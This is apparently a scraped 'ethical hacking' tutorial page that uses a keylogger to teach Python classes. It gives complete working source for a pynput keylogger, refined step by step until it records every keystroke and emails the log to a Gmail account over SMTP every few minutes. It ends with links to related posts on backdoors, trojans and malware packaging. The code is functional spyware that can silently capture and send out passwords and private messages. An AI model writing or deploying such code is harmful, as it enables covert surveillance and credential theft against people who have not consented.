Object-Oriented Programming

Keylogger Classes

  • Way of modeling program(blueprint).
  • Logically group functions and data.
    • Makes code more readable.
    • More reusable.
    • Separate implementation from usage(encapsulation).
    • Easier to extend.
    • Easier to maintain.

The Keylogger Class:

  1. #!/usr/bin/env python
  2. import threading
  3.  
  4. import pynput.keyboard
  5.  
  6. log = ""
  7.  
  8. class Keylogger:
  9. def process_key_press(self, key):
  10. global log
  11. try:
  12. log = log + str(key.char)
  13. except AttributeError:
  14. if key == key.space:
  15. log = log + " "
  16. else:
  17. log = log + " " + str(key) + " "
  18.  
  19. def report(self):
  20. global log
  21. print(log)
  22. log = ""
  23. timer = threading.Timer(10, self.report)
  24. timer.start()
  25.  
  26. def start(self):
  27. keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
  28. with keyboard_listener:
  29. self.report()
  30. keyboard_listener.join()

The main Python program calling the Keylogger Class:

  1. #!/usr/bin/env python
  2. import keylogger
  3.  
  4. my_keylogger = keylogger.Keylogger()
  5. my_keylogger.start()

Constructor Method & Instance Variables:

  • AKA initialization method.
  • Gets executed automatically when a class is created.
  1. #!/usr/bin/env python
  2. import threading
  3.  
  4. import pynput.keyboard
  5.  
  6. class Keylogger:
  7. def __init__(self):
  8. self.log = ""
  9.  
  10. def append_to_log(self, string):
  11. self.log = self.log + string
  12.  
  13. def process_key_press(self, key):
  14. try:
  15. current_key = str(key.char)
  16. except AttributeError:
  17. if key == key.space:
  18. current_key = " "
  19. else:
  20. current_key = " " + str(key) + " "
  21. self.append_to_log(current_key)
  22.  
  23. def report(self):
  24. print(self.log)
  25. self.log = ""
  26. timer = threading.Timer(10, self.report)
  27. timer.start()
  28.  
  29. def start(self):
  30. keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
  31. with keyboard_listener:
  32. self.report()
  33. keyboard_listener.join()

Polish the Python Class Code once more to log Key-strikes and report them by email.

  1. #!/usr/bin/env python
  2. import threading
  3. import smtplib
  4. import pynput.keyboard
  5.  
  6. class Keylogger:
  7. def __init__(self, time_interval, email, password):
  8. self.log = "Keylogger started"
  9. self.interval = time_interval
  10. self.email = email
  11. self.password = password
  12.  
  13. def append_to_log(self, string):
  14. self.log = self.log + string
  15.  
  16. def process_key_press(self, key):
  17. try:
  18. current_key = str(key.char)
  19. except AttributeError:
  20. if key == key.space:
  21. current_key = " "
  22. else:
  23. current_key = " " + str(key) + " "
  24. self.append_to_log(current_key)
  25.  
  26. def report(self):
  27. print(self.log)
  28. self.send_mail(self.email, self.password, "\n\n" + self.log)
  29. self.log = ""
  30. timer = threading.Timer(self.interval, self.report)
  31. timer.start()
  32.  
  33. def send_mail(self, email, password, message):
  34. server = smtplib.SMTP("smtp.gmail.com", 587)
  35. server.starttls()
  36. server.login(email, password)
  37. server.sendmail(email, email, message)
  38. server.quit()
  39.  
  40. def start(self):
  41. keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
  42. with keyboard_listener:
  43. self.report()
  44. keyboard_listener.join()

Main program:

  1. #!/usr/bin/env python
  2. import keylogger
  3.  
  4. my_keylogger = keylogger.Keylogger(120, "aaaa@gmail.com", "")
  5. my_keylogger.start()

Python Ethical Hacking - KEYLOGGER(3)的更多相关文章

  1. Python Ethical Hacking - KEYLOGGER(1)

    A program that records keys pressed on the keyboard. Common features: Store logs locally(local keylo ...

  2. Python Ethical Hacking - KEYLOGGER(2)

    Report function: Run in the background. Don't interrupt program execution. Every X seconds, send the ...

  3. Python Ethical Hacking - TROJANS Analysis(1)

    TROJANS A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc). When e ...

  4. Python Ethical Hacking - Malware Packaging(2)

    PACKAGING FOR WINDOWS FROM LINUX For best results package the program from the same OS as the target ...

  5. Python Ethical Hacking - BACKDOORS(8)

    Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...

  6. Python Ethical Hacking - BACKDOORS(1)

    REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persiste ...

  7. Python Ethical Hacking - Malware Analysis(1)

    WRITING MALWARE Download file. Execute Code. Send Report. Download & Execute. Execute & Repo ...

  8. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  9. Python Ethical Hacking - NETWORK_SCANNER(2)

    DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...

随机推荐

  1. Windows程序设计(1)

    1. Windows程序设计基础 1.1 代码风格 #include "stdafx.h" #include <windows.h> void Alert(int i) ...

  2. 12个Python游戏中的龙穴探险,快速掌握基础,其实很简单

    越来越多的人学习python编程,但更多的人,拿着教程却不知道该怎么学. 今天我给大家举一个例子,是我自己学习python时,用到的方法.     首先,我是一名普通的程序员,相对于十几年开发经验的程 ...

  3. opencv Scalar

    template<typename _Tp> class Scalar_ : public Vec<_Tp, 4> { public: //! various construc ...

  4. c++教程网经典的c语音学习视频教程

  5. 【SpringBoot MQ 系列】RabbitListener 消费基本使用姿势介绍

    [MQ 系列]RabbitListener 消费基本使用姿势介绍 之前介绍了 rabbitmq 的消息发送姿势,既然有发送,当然就得有消费者,在 SpringBoot 环境下,消费可以说比较简单了,借 ...

  6. Spring Boot入门系列(十六)使用pagehelper实现分页功能

    之前讲了Springboot整合Mybatis,然后介绍了如何自动生成pojo实体类.mapper类和对应的mapper.xml 文件,并实现最基本的增删改查功能.接下来要说一说Mybatis 的分页 ...

  7. 记录下 rhel 7 安装MySQL 并重置root密码

    注意官方是很不提倡用root的. 下载并安装MySQL 最新的rpm地址 https://dev.mysql.com/downloads/repo/yum/ #wget https://repo.my ...

  8. 11. RobotFramework内置库-Collections

    Collections库是RobotFramework用来处理列表和字典的库,详细可参见官方介绍. 官方地址:http://robotframework.org/robotframework/late ...

  9. 聊聊Java中的异常及处理

    前言 在编程中异常报错是不可避免的.特别是在学习某个语言初期,看到异常报错就抓耳挠腮,常常开玩笑说编程1分钟,改bug1小时.今天就让我们来看看什么是异常和怎么合理的处理异常吧! 异常与error介绍 ...

  10. 升降梯上——玄学dp

    升降梯上 题目描述 开启了升降梯的动力之后,探险队员们进入了升降梯运行的那条竖直的隧道,映入眼帘的是一条直通塔顶的轨道.一辆停在轨道底部的电梯.和电梯内一杆控制电梯升降的巨大手柄. \(Nescafe ...